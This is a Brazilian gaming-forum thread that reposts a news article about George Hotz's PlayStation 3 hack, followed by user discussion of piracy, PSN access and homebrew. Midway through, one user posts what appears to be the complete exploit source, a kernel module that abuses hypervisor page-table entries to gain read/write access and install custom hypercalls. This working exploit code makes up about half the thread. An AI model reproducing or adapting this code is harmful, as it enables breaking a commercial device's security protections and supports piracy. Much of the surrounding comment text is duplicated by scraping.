[ PS3 ] Liberado software que desbloqueia o Playstation 3
Fórum PSNation :: Geral :: Notícias
Página 1 de 2
Página 1 de 2 • 1, 2
28012010
[ PS3 ] Liberado software que desbloqueia o Playstation 3
Dias depois de anunciar que havia conseguido hackear o PlayStation 3 para executar o próprio software, George Hotz liberou o uso online do programa usado para a quebra de segurança do console.
O jovem, que tornou-se conhecido após crackear o iPhone, da Apple, afirmou em seu blog que decidiu liberar a versão online porque gostaria de ver o que outras pessoas poderiam fazer com o desbloqueio do PS3, e ainda explicitou a vontade de mudar de trabalho.
"Espero que isso incendeie a cena do PS3 no mundo. Os usuários irão descobrir como utilizá-lo para produzir coisas práticas, exatamente como aconteceu com o iPhone", afirmou o jovem.
Na sexta-feira (22/1), Hotz divulgou a quebra de segurança do PS3 em sua página, após cinco semanas de trabalho com um "hardware simples e inteligente".
Consoles como o PS3 normalmente só executam softwares assinados digitalmente pela empresa que os produziu. Essa metodologia faz parte de um sistema de gestão de direitos digitais complexos concebidos para impedir a pirataria de software.
Após a liberação do "modo exploração", muitos programadores provavelmente começarão a examinar o PlayStation 3 de modo a se aprofundar no sistema. Para alguns o principal objetivo será quebrar o sistema de criptografia que garante a incompatibilidade de jogos copiados.
No momento, a unidade de jogos Tokyo-based, da Sony, está examinando o código.Segundo a empresa, comentários sobre o feito de Hotzsó serão feitos após o término do inquérito.
Fonte: PcWorld
Editado pela Administração:
Proibido caixa alta nos títulos dos tópicos, mais atenção da próxima.
O jovem, que tornou-se conhecido após crackear o iPhone, da Apple, afirmou em seu blog que decidiu liberar a versão online porque gostaria de ver o que outras pessoas poderiam fazer com o desbloqueio do PS3, e ainda explicitou a vontade de mudar de trabalho.
"Espero que isso incendeie a cena do PS3 no mundo. Os usuários irão descobrir como utilizá-lo para produzir coisas práticas, exatamente como aconteceu com o iPhone", afirmou o jovem.
Na sexta-feira (22/1), Hotz divulgou a quebra de segurança do PS3 em sua página, após cinco semanas de trabalho com um "hardware simples e inteligente".
Consoles como o PS3 normalmente só executam softwares assinados digitalmente pela empresa que os produziu. Essa metodologia faz parte de um sistema de gestão de direitos digitais complexos concebidos para impedir a pirataria de software.
Após a liberação do "modo exploração", muitos programadores provavelmente começarão a examinar o PlayStation 3 de modo a se aprofundar no sistema. Para alguns o principal objetivo será quebrar o sistema de criptografia que garante a incompatibilidade de jogos copiados.
No momento, a unidade de jogos Tokyo-based, da Sony, está examinando o código.Segundo a empresa, comentários sobre o feito de Hotzsó serão feitos após o término do inquérito.
Fonte: PcWorld
Editado pela Administração:
Proibido caixa alta nos títulos dos tópicos, mais atenção da próxima.
rafmetal- New User
- Número de Mensagens : 63
Idade : 33
Localização : Brasil
Humor : Sarcástico
Inscrição : 10/04/2009
[ PS3 ] Liberado software que desbloqueia o Playstation 3 :: Comentários
caracas to pagando para ver isso funcionando a venda do desbloqueio pelas lojas de game hehehe
ate agora somente noticia...quero ver funcionar mesmo hehe
ate agora somente noticia...quero ver funcionar mesmo hehe
Se funcionar vai ser um pandemônio as vendas do PS3 vai triplicar srsrrs
Sony vai deixar por um tempo, venda de console aumenta e de games cai, e logo depois bloqueia de novo, diminuindo o faturamento em console e aumentando o de games. Lindo!
mas po...baixar jogo do ps3..seria complicado pq e MUITO grande..afinal o blu-ray armazena quase 50gb...
e fazer copia de um blu-ray sendo que um virgem vale quase 50 reais... e melhor comprar original...vamos ver como vai funcionar esse desbloqueio.
e fazer copia de um blu-ray sendo que um virgem vale quase 50 reais... e melhor comprar original...vamos ver como vai funcionar esse desbloqueio.
eu tava pensando melhor...
mas acho que mesmo que de certo...
logo a sony ira enventer uma nova atualizacao para nao ter direito ao desbloqueio e se nao fizer nao tera direito a acesso da rede e nem de cadastrar e tals... tipo igual a microsoft faz com os banimentos e tals de usuario pirateiros de plantao.
Se nao me engano a pouco tempo ate mesmo o psp desbloqueado nao podeia mais acessar a rede certo?
mas acho que mesmo que de certo...
logo a sony ira enventer uma nova atualizacao para nao ter direito ao desbloqueio e se nao fizer nao tera direito a acesso da rede e nem de cadastrar e tals... tipo igual a microsoft faz com os banimentos e tals de usuario pirateiros de plantao.
Se nao me engano a pouco tempo ate mesmo o psp desbloqueado nao podeia mais acessar a rede certo?
isso killerbee.
toda psp desbloqueado nao acessa a PSN.
E como metodo de desbloqueio e divulgado a sony pode trabalhar em algum bloqueio emcima dele.
tudo isso confere.
mas rola jogada de marketing com desbloqueio tambem. tem que ficar ligado.
toda psp desbloqueado nao acessa a PSN.
E como metodo de desbloqueio e divulgado a sony pode trabalhar em algum bloqueio emcima dele.
tudo isso confere.
mas rola jogada de marketing com desbloqueio tambem. tem que ficar ligado.
Eu acho que se funcionar a Sony use isto como estratégia pra alavancar as vendas e conseguir fatia do mercado que era da microsoft. Depois arrumam um jeito de bloquear.
vcruvinel escreveu:isso killerbee.
toda psp desbloqueado nao acessa a PSN.
E como metodo de desbloqueio e divulgado a sony pode trabalhar em algum bloqueio emcima dele.
tudo isso confere.
mas rola jogada de marketing com desbloqueio tambem. tem que ficar ligado.
Errado, PSP's desbloqueados acessam sim a PSN, pelo menos, antigamente, na época que as TA-088v3 estavam começando a aparecer, era assim.
E que fique claro pra galera que a notícia se refere apenas a um EXPLOIT, não é nada para desbloqueio do PS3.
Pelo que andei lendo, esse exploit apenas dá acesso a memória RAM do PS3, nada mais que isso.
Pelo visto teremos muito caminho a frente. E com a quantidade de tetas comedores de capim na rede, a coisa vai andar.
Mas cara...meu PSP nao tem a placa do capeta e sempre foi desbloqueado..e nunca acessar a PSN, seria possivel esse acesso com algum patch?
vcruvinel escreveu:Mas cara...meu PSP nao tem a placa do capeta e sempre foi desbloqueado..e nunca acessar a PSN, seria possivel esse acesso com algum patch?
Como te disse, não sei como está agora, mas na época que eu tava com meu 4º PSP, eu jogava Killzone Liberation online com a galera de boa cara.
A unica coisa que precisava fazer era baixar patch do jogo, no próprio site do Killzone, e depois ir direto.
Testa ai, as vezes funfa de boas.
vou tentar de novo...
semana passada tentei e nao funfou..nem logava!
vamos ver qlq dia desses =D
semana passada tentei e nao funfou..nem logava!
vamos ver qlq dia desses =D
PSN não funciona mais, já faz um bom tempo.
E quanto ao PS3, quero só ver a hipocrisia tomar conta, tem muito dono de PS3 por aí que enche a boca pra falar do VG 100% original, vamos ver a atitude deles agora quando o desbloqueio for lançado.
E quanto ao PS3, quero só ver a hipocrisia tomar conta, tem muito dono de PS3 por aí que enche a boca pra falar do VG 100% original, vamos ver a atitude deles agora quando o desbloqueio for lançado.
Killzone Liberation ainda rola online sim... eu jogo direto, pelo menos até o final do mês passado que foi a última vez que joguei tava rolando...
O que não rola são os games mais novos e o acesso a PSN...
Agora qto a esse "desbloqueio" do PS3 levando em consideração o valor da midia bluray, gravador e o tempo que vc vai levar pra downloadear o game, é melhor comprar um original ai usadinho... Pelo menos, se for um cara igual a mim que joga sozinho na maioria das vezes, prefiro manter o console original e jogar online...
O que eu acho que seria interessante, seria os homebrews que o povo viria a criar... tem uma galerinha esperta que sempre lança algo interessante...
O que não rola são os games mais novos e o acesso a PSN...
Agora qto a esse "desbloqueio" do PS3 levando em consideração o valor da midia bluray, gravador e o tempo que vc vai levar pra downloadear o game, é melhor comprar um original ai usadinho... Pelo menos, se for um cara igual a mim que joga sozinho na maioria das vezes, prefiro manter o console original e jogar online...
O que eu acho que seria interessante, seria os homebrews que o povo viria a criar... tem uma galerinha esperta que sempre lança algo interessante...
me desculpem,pensei que era o topico sobre o ps3 , foi engano.
Sabia que eu não estava louco!!
HUAHUAHUAHUAUA!!
=D
HUAHUAHUAHUAUA!!
=D
os unicos jogos q funcionam online no psp agora, sao os q o PSNabler suporta
Ta aqui o bendito código
Editado pela administração.
Nota: Quando o post for algum código imenso desse, prefira colocar em spoiler cara.
- Spoiler:
- // PS3 exploit code
// c2010 geohot
// I DO NOT CONDONE PIRACY, EXPLOIT IS FOR RESEARCH USE ONLY
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/syscalls.h>
#include <linux/fcntl.h>
#include <asm/abs_addr.h>
#include <asm/mmu.h>
#include <asm/lmb.h>
#include <asm/io.h>
#include <asm/tlb.h>
#include <asm/lv1call.h>
#include <linux/kernel.h>
#include <linux/threads.h>
#include <linux/pci.h>
#include <linux/sysdev.h>
#include <asm/lv1call.h>
#include <asm/pci-bridge.h>
#include <asm/uaccess.h>
#include <asm/hw_irq.h>
#include <linux/proc_fs.h>
#include <linux/smp_lock.h>
#include <linux/irq.h>
void hexdump(unsigned long *d, int l) {
int i;
for(i=0;i<l;i+=4) {
printk(KERN_ERR "%16.16lx %16.16lx %16.16lx %16.16lx\n", d[i], d[i+1], d[i+2], d[i+3]);
}
}
unsigned long get_real_address_from_lpar(unsigned long add) {
unsigned long start_address, size, access_right, max_page_size, flags, gpu_ram, status, htab;
unsigned long va = 0x0001408F92C94401;
lv1_write_htab_entry(0,0,0,0);
status = lv1_query_logical_partition_address_region_info(add, &start_address, &size, &access_right, &max_page_size, &flags);
if(status != 0)
return 0xFFFFFFFFFFFFFFFF;
//lv1_query_logical_partition_address_region_info(add, &start_address, &size, &access_right, &max_page_size, &flags);
unsigned long pa = 0x0000000000000197 | start_address;
lv1_write_htab_entry(0,0,va,pa);
//lv1_write_htab_entry(0,0,va,pa);
// htab should be mapped @
htab = 0xD000080080000000;
return (((unsigned long*)0xD000080080000000)[1]>>12)&0xFFFFFFFFF;
}
#define LENGTH 0x1000000
#define COUNT 0x40
volatile unsigned long cache_clear[0x100000];
volatile int exploit_first_stage() {
unsigned long lpar, lpar2, crap, g1, glitch=0, status, i;
printk(KERN_ERR "allocate memory: %d\n", lv1_allocate_memory(0x100000, 0x14, 0, 0, &lpar, &crap));
printk(KERN_ERR "PRESS THE BUTTON IN THE MIDDLE OF THIS\n");
for(i=0;i<0x10000;i++) {
g1 = ((unsigned long*)0xD000080080000000)[i*2];
if( (g1 & 1) == 0 || (g1&0xFFFFFFFF00000000) == 0x0000FFFF00000000) {
// isn't valid or is previous crap
if(lv1_write_htab_entry(0,i,0x0000FFFF00000001|(i<<16) | ((((((i/^(((0x0000FFFF00000001|(i<<16))>>12) & 0x1FFF)) << 12)>>23)&0x1F)<<7) ,0x196|lpar) != 0) {
printk(KERN_ERR "bad HTAB write @ %X\n", i);
}
glitch++;
}
}
printk(KERN_ERR "added 0x%X HTAB entries\n", glitch);
volatile register unsigned long j, t1, t2, k, l;
//****************KERNEL CHILL TIME BEGIN****************
unsigned long irq, irq1, flags = 0, stack;
irq = __pa(get_irq_chip_data(20));
irq1 = __pa(get_irq_chip_data(16));
spinlock_t mr_lock = SPIN_LOCK_UNLOCKED;
spin_lock_irqsave(&mr_lock, flags);
preempt_disable();
lock_kernel();
hard_irq_disable();
lv1_configure_irq_state_bitmap(1,0,0);
lv1_configure_irq_state_bitmap(1,1,0);
//****************KERNEL CHILL TIME BEGIN****************
// get craps in the icache
lv1_allocate_memory(0x1000, 0xC, 0, 0, &lpar2, &crap);
lv1_release_memory(lpar2);
for(j=0;j<LENGTH;j++) {
if(j==(LENGTH/2)) {
t1 = mftb();
status = lv1_release_memory(lpar);
t2 = mftb();
memset(cache_clear, 0xAA, 0x100000);
}
}
//****************KERNEL CHILL TIME END****************
lv1_configure_irq_state_bitmap(1,1,irq1);
lv1_configure_irq_state_bitmap(1,0,irq);
__hard_irq_enable();
unlock_kernel();
preempt_enable();
spin_unlock_irqrestore(&mr_lock, flags);
//****************KERNEL CHILL TIME END****************
printk(KERN_ERR "time was 0x%lx, 0x%x per, %d\n", t2-t1, (t2-t1)/glitch, status);
t1 = 0;
t2 = 0;
for(i=0;i<0x10000;i++) {
g1 = ((unsigned long*)0xD000080080000000)[i*2];
if((g1&0xFFFFFFFF00000000) == 0x0000FFFF00000000) {
t1++;
if((g1 & 1) == 1) t2++;
}
}
printk(KERN_ERR "now checking HTAB for win, %x/%x\n",t2,t1);
if(t2>0) {
printk(KERN_ERR "EXPLOIT ENTRY FOUND!!!!!\n");
return 0;
}
return -1;
}
unsigned long SLB[128];
// 64 entries in the SLB
inline int read_slb() {
unsigned long i, j;
unsigned long *entry;
for(i=0;i<64;i++) {
entry = &SLB[i*2];
__asm__ volatile("slbmfee 3, %0\n"
"std 3, 0(%1)\n"
"slbmfev 3, %0\n"
"std 3, 8(%1)\n"
:
: "r" (i), "r" (entry)
: "r3");
}
return 0;
}
// move into another virtual address space
unsigned long HTAB_0[0x20000];
unsigned long HTAB_1[0x20000];
volatile long hypercall_in_c() {
return 0x8FFFFFFEF;
}
volatile long call_hypercall_tlbia(unsigned long* r4) {
unsigned long ret;
unsigned long inr4 = *r4, outr4;
asm volatile("mr 3, %2\n"
"li 11, 16\n"
"sc 1\n"
"mr %0, 3\n"
"mr %1, 4\n"
: "=r" (ret), "=r" (outr4)
: "r" (inr4)
: "r3", "r4", "r5", "r6", "r7", "r8", "r9", "r10", "r11", "r12" );
*r4 = outr4;
return ret;
}
volatile int exploit_second_stage() {
unsigned long crap, j, slb1, slb2, msr, hsprg0;
unsigned long i, g1, g2, status, raff_ptr;
unsigned long vas_id, old_vas_id;
unsigned long act_htab_size;
//2, (24<<56)|(16<<48)
printk(KERN_ERR "construct address space: %d\n", lv1_construct_virtual_address_space(20, 2, 0x1814000000000000, &vas_id, &act_htab_size));
lv1_get_virtual_address_space_id_of_ppe(0, &old_vas_id);
printk(KERN_ERR "address space is %d, old was %d\n", vas_id, old_vas_id);
if(vas_id == 0) {
printk(KERN_ERR "ADDRESS SPACE FAIL\n");
return 0;
}
read_slb();
for(i=0;i<0x40;i++) {
if((SLB[i*2]>>27)&1) {
printk(KERN_ERR "%lx %lx\n", SLB[i*2]&0xFFFFFFFFF0000000, SLB[(i*2)+1]>>12);
}
}
//hexdump(SLB, 128);
unsigned long htab_lpar;
lv1_map_htab(0, &htab_lpar);
unsigned long htab_ra = get_real_address_from_lpar(htab_lpar);
unsigned long other_htab_lpar;
lv1_map_htab(vas_id, &other_htab_lpar);
unsigned long* other_htab = __ioremap(other_htab_lpar, 0x100000, 3);
unsigned long other_htab_ra = get_real_address_from_lpar(other_htab_lpar);
printk(KERN_ERR "fix values are %lx %lx\n", other_htab_lpar, vas_id);
// add the messed up one
for(raff_ptr=0;raff_ptr<0x10000;raff_ptr++) {
g1 = ((unsigned long*)0xD000080080000000)[raff_ptr*2];
g2 = ((unsigned long*)0xD000080080000000)[(raff_ptr*2)+1];
if( ((g1&0xFFFFFFFF00000000) == 0x0000FFFF00000000) && ((g1&1)==1)) { // && (((g2&0xFFFF000)>>12) == 0x400) ) {
printk(KERN_ERR "FOUND ENTRY %16.16lx %16.16lx @ %X\n", g1, g2, raff_ptr);
break;
}
}
if(raff_ptr==0x10000) {
printk(KERN_ERR "EXPLOIT NOT FOUND\n");
goto hard_die;
}
if(other_htab_ra != ((g2&0xFFFF000)>>12) ) {
printk(KERN_ERR "BAD ADDRESS OF REGIONS HTAB\n");
goto die;
}
// add the segment
crap = 0x5000000000000000;
__asm__ volatile("slbie %0\n"
:
: "r" (crap) );
read_slb();
for(j=0;j<0x40;j++) {
if( ((SLB[j*2]>>27)&1) == 0) {
break;
}
}
// j is first SLB I can use
slb1 = 0x5000000008000000|j;
//slb2 = 0x0000FFFF00000400|(raff_ptr<<16);
slb2 = 0x0000FFFF00000400|(g1&0xFFFF0000);
__asm__ volatile("slbmte %0, %1\n"
:
: "r" (slb2), "r" (slb1) );
// add the messed up PTE
unsigned long va = 0x5000000000000000;
va |= ((raff_ptr/^((g1>>12) & 0x1FFF)) << (((g1>>2)&1)?24:12);
printk(KERN_ERR "computed VA is %lx\n", va);
unsigned long* other_htab_rw = va;
other_htab_rw[0] = 0x0000FFFF00000001;
other_htab_rw[1] = 0x0000000000000196|(htab_ra<<12);
unsigned long count = 0, valid_count = 0;
unsigned long my_lpar;
unsigned long usb1_ra = get_real_address_from_lpar(0x4000001d0000);
unsigned long usb2_ra = get_real_address_from_lpar(0x4000001e0000);
unsigned long usb3_ra = get_real_address_from_lpar(0x4000001f0000);
unsigned long usb4_ra = get_real_address_from_lpar(0x400000200000);
printk(KERN_ERR "0x4000001d0000 -> %lx\n", usb1_ra);
printk(KERN_ERR "0x4000001e0000 -> %lx\n", usb2_ra);
printk(KERN_ERR "0x4000001f0000 -> %lx\n", usb3_ra);
printk(KERN_ERR "0x400000200000 -> %lx\n", usb4_ra);
// skip first entry, it's mine and important
for(i=1;i<0x10000;i++) {
g1 = ((unsigned long*)0xD000080080000000)[i*2];
g2 = ((unsigned long*)0xD000080080000000)[(i*2)+1];
if(g1&1) {
unsigned long va = 0xFFFFFFFFFFFFFFFF, ra;
for(j=0;j<0x40;j++) {
if((SLB[j*2]>>27)&1) {
if((SLB[(j*2)+1]>>12) == (g1>>12)) {
va = SLB[j*2]&0xFFFFFFFFF0000000;
}
}
}
if(va == 0xFFFFFFFFFFFFFFFF) {
continue;
//printk(KERN_ERR "ENTRY NOT FOUND IN SLB: %lx\n", (g1>>12));
}
valid_count++;
va |= ((i/^((g1>>(7+5)) & 0x1FFF)) << (((g1>>2)&1)?24:12);
ra = g2 >> 12;
my_lpar = 0xFFFFFFFFFFFFFFFF;
if( ra >= 0x1000 && ra < 0x10000) {
if( ra >= 0x8000 ) {
my_lpar = (ra-0x8000) << 12;
} else {
my_lpar = 0x6c0058000000 | ((ra-0x1000)<<12);
}
} else if( (ra&0xFFFFFFFFFFFFFF00) == htab_ra) {
my_lpar = htab_lpar + ((ra-htab_ra) << 12);
} else if( (ra&0xFFFFFFFFFFFFFF00) == other_htab_ra) {
my_lpar = other_htab_lpar + ((ra-other_htab_ra) << 12);
} else if( ra == usb4_ra ) {
my_lpar = 0x400000200000;
} else if( ra == usb3_ra ) {
my_lpar = 0x4000001f0000;
} else if( ra == usb2_ra ) {
my_lpar = 0x4000001e0000;
} else if( ra == usb1_ra ) {
my_lpar = 0x4000001d0000;
} else if( ra == 0x3e0 ) {
my_lpar = 0x4000001a0000;
} else if( ra == 0x3e1 ) {
my_lpar = 0x4000001a1000;
} else if( ra == 0x8d3 ) {
my_lpar = 0x30000000e000;
} else if( ra == 0x8dd ) {
my_lpar = 0x300000010000;
} else if( ra == 0x202 ) {
my_lpar = 0x300000012000;
} else if( ra == 0x203 ) {
my_lpar = 0x300000014000;
} else if( ra == 0x3ac ) {
my_lpar = 0x300000016000;
} else if( ra == 0x3ad ) {
my_lpar = 0x300000018000;
} else if( ra >= 0x28000080 && ra < 0x28000088 ) {
my_lpar = 0x3c0000108000 + ((ra-0x28000080)*0x1000);
}
if(my_lpar != 0xFFFFFFFFFFFFFFFF) {
if(lv1_write_htab_entry(vas_id, i, g1, (g2&0xFFF)|my_lpar) != 0) {
printk(KERN_ERR "write HTAB failed: %lx %lx\n", g1, (g2&0xFFF)|my_lpar);
} else {
count++;
}
} else {
printk(KERN_ERR "%4x: %lx %lx ... %lx -> %lx\n", i, g1, g2, va, ra);
}
if(other_htab[i*2] != g1 || other_htab[(i*2)+1] != g2) {
printk(KERN_ERR "verify failed on %X\n", i);
printk(KERN_ERR "%lx %lx -- %lx %lx\n", g1, g2, other_htab[i*2], other_htab[(i*2)+1]);
//goto home;
}
}
}
printk(KERN_ERR "wrote 0x%X/0x%X htab entries\n", count, valid_count);
hexdump(other_htab, 4);
printk(KERN_ERR "OOO R/W\n");
hexdump(other_htab_rw, 4);
// add the segment different
crap = 0x5000000000000000;
__asm__ volatile("slbie %0\n"
:
: "r" (crap) );
read_slb();
for(j=0;j<0x40;j++) {
if( ((SLB[j*2]>>27)&1) == 0) {
break;
}
}
// j is first SLB I can use
slb1 = 0x5000000008000000|j;
slb2 = 0x0000FFFF00000400;
__asm__ volatile("slbmte %0, %1\n"
:
: "r" (slb2), "r" (slb1) );
printk(KERN_ERR "GOING UNDERCOVER\n");
//****************KERNEL CHILL TIME BEGIN****************
unsigned long irq, irq1, flags = 0;
irq = __pa(get_irq_chip_data(20));
irq1 = __pa(get_irq_chip_data(16));
spinlock_t mr_lock = SPIN_LOCK_UNLOCKED;
spin_lock_irqsave(&mr_lock, flags);
preempt_disable();
lock_kernel();
hard_irq_disable();
lv1_configure_irq_state_bitmap(1,0,0);
lv1_configure_irq_state_bitmap(1,1,0);
//****************KERNEL CHILL TIME BEGIN****************
status = lv1_select_virtual_address_space(vas_id);
// OMG, CRAZY, IN OTHER SPACE
unsigned long* htab_rw = 0x5000000000000000;
// middle part is 0 cause in position 0
// add htab r/w to itself
htab_rw[2] = 0x0000FFFF00000005;
htab_rw[3] = 0x0000000000000196;
lv1_select_virtual_address_space(old_vas_id);
//****************KERNEL CHILL TIME END****************
lv1_configure_irq_state_bitmap(1,1,irq1);
lv1_configure_irq_state_bitmap(1,0,irq);
__hard_irq_enable();
unlock_kernel();
preempt_enable();
spin_unlock_irqrestore(&mr_lock, flags);
//****************KERNEL CHILL TIME END****************
printk(KERN_ERR "prease i lived?!?!?: %d\n", status);
// add the segment different again
crap = 0x5000000000000000;
__asm__ volatile("slbie %0\n"
:
: "r" (crap) );
read_slb();
for(j=0;j<0x40;j++) {
if( ((SLB[j*2]>>27)&1) == 0) {
break;
}
}
// j is first SLB I can use
slb1 = 0x5000000008000000|j;
slb2 = 0x0000FFFF00000500;
__asm__ volatile("slbmte %0, %1\n"
:
: "r" (slb2), "r" (slb1) );
home:
printk(KERN_ERR "unmap other HTAB: %d\n", lv1_unmap_htab(other_htab_lpar));
printk(KERN_ERR "destruct address space: %d\n", lv1_destruct_virtual_address_space(vas_id));
hexdump(0xD000080080000000, 0x10);
return 0;
die:
printk(KERN_ERR "unmap other HTAB: %d\n", lv1_unmap_htab(other_htab_lpar));
printk(KERN_ERR "destruct address space: %d\n", lv1_destruct_virtual_address_space(vas_id));
return -1;
hard_die:
printk(KERN_ERR "unmap other HTAB: %d\n", lv1_unmap_htab(other_htab_lpar));
printk(KERN_ERR "destruct address space: %d\n", lv1_destruct_virtual_address_space(vas_id));
return -2;
}
void add_segment() {
// add the segment different again
unsigned long crap, j, slb1, slb2;
crap = 0x5000000000000000;
__asm__ volatile("slbie %0\n"
:
: "r" (crap) );
read_slb();
for(j=0;j<0x40;j++) {
if( ((SLB[j*2]>>27)&1) == 0) {
break;
}
}
// j is first SLB I can use
slb1 = 0x5000000008000000|j;
slb2 = 0x0000FFFF00000500;
__asm__ volatile("slbmte %0, %1\n"
:
: "r" (slb2), "r" (slb1) );
}
volatile long lv1_peek(unsigned long real_addr) {
unsigned long ret;
asm volatile("mr 3, %1\n"
"li 11, 16\n"
"sc 1\n"
"mr %0, 3\n"
: "=r" (ret)
: "r" (real_addr)
: "r3", "r4", "r5", "r6", "r7", "r8", "r9", "r10", "r11", "r12");
return ret;
}
volatile long lv1_poke(unsigned long real_addr, unsigned long data) {
unsigned long ret;
asm volatile("mr 4, %2\n"
"mr 3, %1\n"
"li 11, 20\n"
"sc 1\n"
"mr %0, 3\n"
: "=r" (ret)
: "r" (real_addr), "r" (data)
: "r3", "r4", "r5", "r6", "r7", "r8", "r9", "r10", "r11", "r12");
return ret;
}
void install_hypercall() {
unsigned long lpar, crap;
hexdump(0xD000080080000000, 0x10);
if( *((unsigned long *)0xD000080080000010) != 0x0000FFFF00000005 ||
*((unsigned long *)0xD000080080000018) != 0x0000000000000196) {
printk(KERN_ERR "killer entry NOT present\n");
return 0;
}
printk(KERN_ERR "allocate memory: %d\n", lv1_allocate_memory(0x1000, 0xC, 0, 0, &lpar, &crap));
unsigned long* hypercall_in_zero_page = __ioremap(lpar, 0x1000, PAGE_SHARED_X);
hypercall_in_zero_page[0] = 0xE86300004E800020;
hypercall_in_zero_page[1] = 0xF883000038600000;
hypercall_in_zero_page[2] = 0x4E80002000000000;
unsigned long real_address = get_real_address_from_lpar(lpar)<<12;
add_segment();
unsigned long* hv_call_table = 0x500000000037C598;
hv_call_table[16] = real_address;
hv_call_table[20] = real_address+0x8;
printk(KERN_ERR "calling hypercall test got %16.16lx\n", lv1_peek(0x2401FC00000));
}
volatile int init_module() {
if( *((unsigned long *)0xD000080080000010) != 0x0000FFFF00000005 ||
*((unsigned long *)0xD000080080000018) != 0x0000000000000196) {
while(exploit_first_stage() == -1);
while(exploit_second_stage() == -1);
}
install_hypercall();
return 0;
}
void cleanup_module(void) {
printk(KERN_ERR "cleanup_module() called\n");
}
Editado pela administração.
Nota: Quando o post for algum código imenso desse, prefira colocar em spoiler cara.
e como todos podem ver só funciona em PS3 antigo.. aqueles q rodam linux!
Talvez a pirataria seja difícil (além de tudo o Geo Hotz é contra a pirataria); mas talvez haja mais homebrews e pequenos jogos... talvez consigam rodar jogos de PS2/PS1 com emuladores...
ADEUSSS SONY!!!!KKKKKKKKKKKKKK
daqui a pouco vai rodar em todos facil facil
daqui a pouco vai rodar em todos facil facil
obrigado administração
me desculpem pelo intenso codigo postado , mas era s´o para q muitos tenham uma idéia do que se estamos abordando.Ta meio dificil teclar ,quebrei os dedos esta semana ,indicaço~es do médico 1 mes longe do psp
me desculpem pelo intenso codigo postado , mas era s´o para q muitos tenham uma idéia do que se estamos abordando.Ta meio dificil teclar ,quebrei os dedos esta semana ,indicaço~es do médico 1 mes longe do psp
*facepalm*
yeah...
Antes de qualquer coisa, o tópico não deveria ser sobre o destrave do PS3? XD
segundo, eu não sou nem um pouco contra o download de jogos gratis, mas qual a vantagem do desbloqueio?
quanto custa um jogo de PS3? por volta de 200 reais?e um blu-ray virgem? uns 150 deve ser. e o preço do gravador de blu-ray eu prefiro nem imaginar. Graaande vantagem... eu até acho que a pirataria vai ser difícil com esses preços, e baixar jogos pra que se os originais são praticamente o mesmo preço?
digamos que o preço do blu-ray diminua, isso provavelmente ia só começar a acontecer com o lançamento do PS4.as pessoas que tinham dinheiro pra fazer algo com a destrava do PS3 vão ter o PS4.
It's useless...
editado:
outra possibilidade é que vai foder de vez com o mercado de games no brasil XD
yeah...
Antes de qualquer coisa, o tópico não deveria ser sobre o destrave do PS3? XD
segundo, eu não sou nem um pouco contra o download de jogos gratis, mas qual a vantagem do desbloqueio?
quanto custa um jogo de PS3? por volta de 200 reais?e um blu-ray virgem? uns 150 deve ser. e o preço do gravador de blu-ray eu prefiro nem imaginar. Graaande vantagem... eu até acho que a pirataria vai ser difícil com esses preços, e baixar jogos pra que se os originais são praticamente o mesmo preço?
digamos que o preço do blu-ray diminua, isso provavelmente ia só começar a acontecer com o lançamento do PS4.as pessoas que tinham dinheiro pra fazer algo com a destrava do PS3 vão ter o PS4.
It's useless...
editado:
outra possibilidade é que vai foder de vez com o mercado de games no brasil XD
Isso não vai mudar nada, por vários motivos.
Um deles é o fato de que falta um bom hacker assumir e criar algum destrave que funcione.Esse motivo é o principal, já que tem um monte de gente comerando por nada.
Outro motivo, é que um game falsificado vai custar uns 80 reais.Prefiro comprar um original que não vai prejudicar o console.
Ainda tem o que o amigo de cima disse.
Agora que a Sony começou a vender e produzirá games no Brasil, vem a pirataria e poe tudo a perder.
Ainda sou contrar o desbloqueio do PS3 para correr jogos falsos, mas a favor para rodar homebrews. Infelizmente os dois andam juntos.
Um deles é o fato de que falta um bom hacker assumir e criar algum destrave que funcione.Esse motivo é o principal, já que tem um monte de gente comerando por nada.
Outro motivo, é que um game falsificado vai custar uns 80 reais.Prefiro comprar um original que não vai prejudicar o console.
Ainda tem o que o amigo de cima disse.
Agora que a Sony começou a vender e produzirá games no Brasil, vem a pirataria e poe tudo a perder.
Ainda sou contrar o desbloqueio do PS3 para correr jogos falsos, mas a favor para rodar homebrews. Infelizmente os dois andam juntos.
eu acho que tudo isso é obra da propria sony...
É fato que quando o mercado de consoles estava quase morto, na epoca do N64, quem salvou a patria foi o PSX com a sua infinidade de jogos pirateados, o PSX pulou para a primeira posição no ranking dos mais vendidos. Depois veio o PS2 que se tornou eletrodoméstico obrigatorio para variadas classes, e é fato que o psp vendeu milhoes depois da quebra do software. Então eu acho que tudo isso é obra da propria sony, quem sabe ate pagaram para George Hotz trabalhar no desbloqueio ou indicaram o caminho a seguir.
É fato que quando o mercado de consoles estava quase morto, na epoca do N64, quem salvou a patria foi o PSX com a sua infinidade de jogos pirateados, o PSX pulou para a primeira posição no ranking dos mais vendidos. Depois veio o PS2 que se tornou eletrodoméstico obrigatorio para variadas classes, e é fato que o psp vendeu milhoes depois da quebra do software. Então eu acho que tudo isso é obra da propria sony, quem sabe ate pagaram para George Hotz trabalhar no desbloqueio ou indicaram o caminho a seguir.
Página 1 de 2 • 1, 2
Tópicos semelhantes
» Entenda exatamente o processo de hack do Playstation 3 liberado essa semana
» Beta da CFW 5.55 Team MX Liberado!!!
» [PSP] TN HEN 6.35 atrasado - 6.20 TN a ser liberado antes do natal.
» Liberado o Primeiro Trailer de Tekken
» [Multi] Novo gameplay de Never Dead liberado
» Beta da CFW 5.55 Team MX Liberado!!!
» [PSP] TN HEN 6.35 atrasado - 6.20 TN a ser liberado antes do natal.
» Liberado o Primeiro Trailer de Tekken
» [Multi] Novo gameplay de Never Dead liberado
Permissões neste sub-fórum
Não podes responder a tópicos
|
|
18/5/2018, 00:43 por lentini800
» Problema com psp (ajuda pff)
3/4/2018, 15:48 por gilbaroni
» desbloqueio nintendo dsi 1.4.5
27/2/2018, 17:18 por andersonrpg1
» [Tutorial] Free MCBoot - Destravamento de PS2 pelo Memory Card
3/1/2018, 06:46 por cmendes
» Meu psp da interferência quando uso o fane de ouvido
26/9/2016, 22:30 por yversow sant'anna
» Urgente pfv
23/9/2016, 21:21 por Charlesluchina10
» Um problema que ainda não achei igual.
18/9/2016, 20:13 por andersonrpg1
» Identificando versão e geração da placa-mãe do seu PSP
22/8/2016, 14:26 por kirakiller
» Meu psp não ler os jogos e nem carrega a bateria
6/8/2016, 23:31 por WILLIAMBRS
» Wallpaper "Transparente"
24/7/2016, 09:53 por nardo motta